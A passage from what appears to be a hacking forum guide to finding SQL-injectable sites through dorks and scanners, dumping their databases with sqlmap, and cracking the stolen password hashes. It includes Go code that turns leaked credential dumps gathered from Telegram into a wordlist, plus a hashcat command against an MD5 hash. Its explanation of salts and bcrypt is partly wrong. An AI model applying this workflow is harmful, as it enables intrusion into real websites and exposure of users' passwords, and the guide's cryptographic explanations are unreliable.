I'll say a few words about CVE. Many of them will be on CMS no_name with 10 stars on GitHub. However, having studied its mechanism, you can make a note and search on similar CMS. There are still vulnerabilities like --' on products with users inside the systems. To check for targets under CVE, you need to make a dork for Google/Shodan and check as described in CVE. It will be difficult to find something unique, but I think many people think so, and in fact, you can find something.
Scanners
Another option for finding a SQL injection vulnerability is to check using automatic scanning. For example, you can take Acunetix, load links to search for SQL injections into it, and after finding vulnerabilities, go to sqlmap. Initially, this option seemed interesting to me, but it showed itself to be weak: it missed SQLi where they were definitely there, and practically did not find new ones. I would recommend running a full scan and analyzing all the vulnerabilities of the site, it is more interesting.
To summarize, I want to say that the most interesting, in my opinion, is searching through dorks followed by using sqlmap. Searching through checking potential links is also a good option, but it can take a long time to get the result.
Encoding, Hashing, Salt
In most cases, after receiving a database, certain fields in it (usually passwords and other sensitive information) will not be in plain text, but in the form of gibberish called a hash.
Encoding and hashing are not the same thing. Both are the process of transforming data using a certain algorithm. The difference is that everything that is encoded can be decoded, and everything that is hashed cannot be unhashed. A hash function is, by definition, one-way.
The process works like this: when a user registers, the server generates a hash value based on their password and stores it in the database. Each time the user logs in, the server again generates a hash function and compares it with the one stored in the database. That is, it is not the passwords themselves that are checked, but their hash values.
There are many different hash algorithms. The main requirement for them is the absence of collisions: one input should give one output. Another feature is the rule: any size of the input is always the same size of the output. Since people often use the same passwords, you can create many potential reasonable password options and pass them through the hash function, getting all possible combinations. Then the database hash passwords are compared with the obtained results, which allows you to "skip" the process back (since we know the original data). This is called a rainbow table attack.
But what if during the hash generation the server adds an additional value X to each record? That is, password will turn into xpassword. In this case, the hash values \u200b\u200bwill completely change, and it will be almost impossible to guess them in a reasonable time, because there are already an infinite number of X options (X can be anything, of any length). This is called a salt.
Extracting the hash
Hash: 19b955d6fdb85b4dc95a8f2d3ab6eff0
First, you need to determine the hash type. You can use the hash-identifier utility for this, or ChatGPT also does a great job. In this case, it's MD5.
Next, dehashing. There are online services, for example, hashes.com. One request — and we extracted the hash, having learned the password.
But what if we have a large number of hashes? How to organize an attack using rainbow tables?
To attack, you will need a dictionary. It can be collected from passwords that have previously leaked onto the network. Go to Telegram and find several channels with databases. Logs, passwords from GitHub repositories — in general, any real passwords of people — will also work.
Let's move on to the code:
C:
func main() {
// 1
dir := "base"
// 2
resultFile, err := os.Create("res.txt")
if err != nil {
fmt.Println("Ошибка при создании файла:", err)
return
}
defer resultFile.Close()
// 3
files, err := ioutil.ReadDir(dir)
if err != nil {
fmt.Println("Ошибка при чтении директории:", err)
return
}
for _, file := range files {
if filepath.Ext(file.Name()) == ".txt" {
processFile(filepath.Join(dir, file.Name()), resultFile)
}
}
// 4
removeDuplicates("res.txt")
}
// 5
func processFile(filePath string, resultFile *os.File) {
file, err := os.Open(filePath)
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
if strings.Contains(line, ":") {
parts := strings.SplitN(line, ":", 2)
if len(parts) == 2 {
value := strings.TrimSpace(parts[1])
if len(value) >= 6 && len(value) <= 32 {
resultFile.WriteString(value + "\n")
}
}
}
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
}
}
// 6
func removeDuplicates(filePath string) {
file, err := os.Open(filePath)
if err != nil {
fmt.Println("Ошибка при открытии файла:", err)
return
}
defer file.Close()
uniqueLines := make(map[string]bool)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
uniqueLines[line] = true
}
if err := scanner.Err(); err != nil {
fmt.Println("Ошибка при чтении файла:", err)
return
}
outputFile, err := os.Create(filePath)
if err != nil {
fmt.Println("Ошибка при создании файла:", err)
return
}
defer outputFile.Close()
for line := range uniqueLines {
outputFile.WriteString(line + "\n")
}
}Save the found files to the base directory.
Create a res.txt file to store passwords.
Go through all the .txt files in the base directory.
Delete duplicates from res.txt.
The function for processing each file checks if there is a colon in the line, splits the line at the colon, checks the length of the second part and writes the result to the file.
The function for removing duplicates from the file opens the file, reads the lines into the map and reopens the file with unique lines.
The password database is ready. You can implement the attack yourself, but you can use ready-made tools, for example, hashcat. The command will be as follows: hashcat -m 0 -a 0 "19b955d6fdb85b4dc95a8f2d3ab6eff0" res.txt
-m 0 — specifies the operating mode, hash type.
-a 0 — specifies the attack type, in this case it is a dictionary attack.
Next we specify the hash and dictionary.
John the Ripper is also suitable for this task.
The next hash is 2a10$JCXAlrowI4neyj/lOXrb2ORp1hcpOAUR9GzHXyUkWDs3KHl0zMIOC
We determine the hash (we will use ChatGPT for this) + CyberChef, making sure that it is bcrypt. In this case, the attack will be difficult. Bcrypt can be implemented using a random salt, which will be difficult to guess using a dictionary. In this case, we will not be able to get passwords in their pure form. You can try to find the salt in the source code of the site or look for additional vulnerabilities that will reveal this information. It may happen that you get a database dump, but the hashes will be well protected from attacks.
To sum it up: SQL injections still exist and can be successfully exploited if scaled properly, although there will be many defenses along the way.
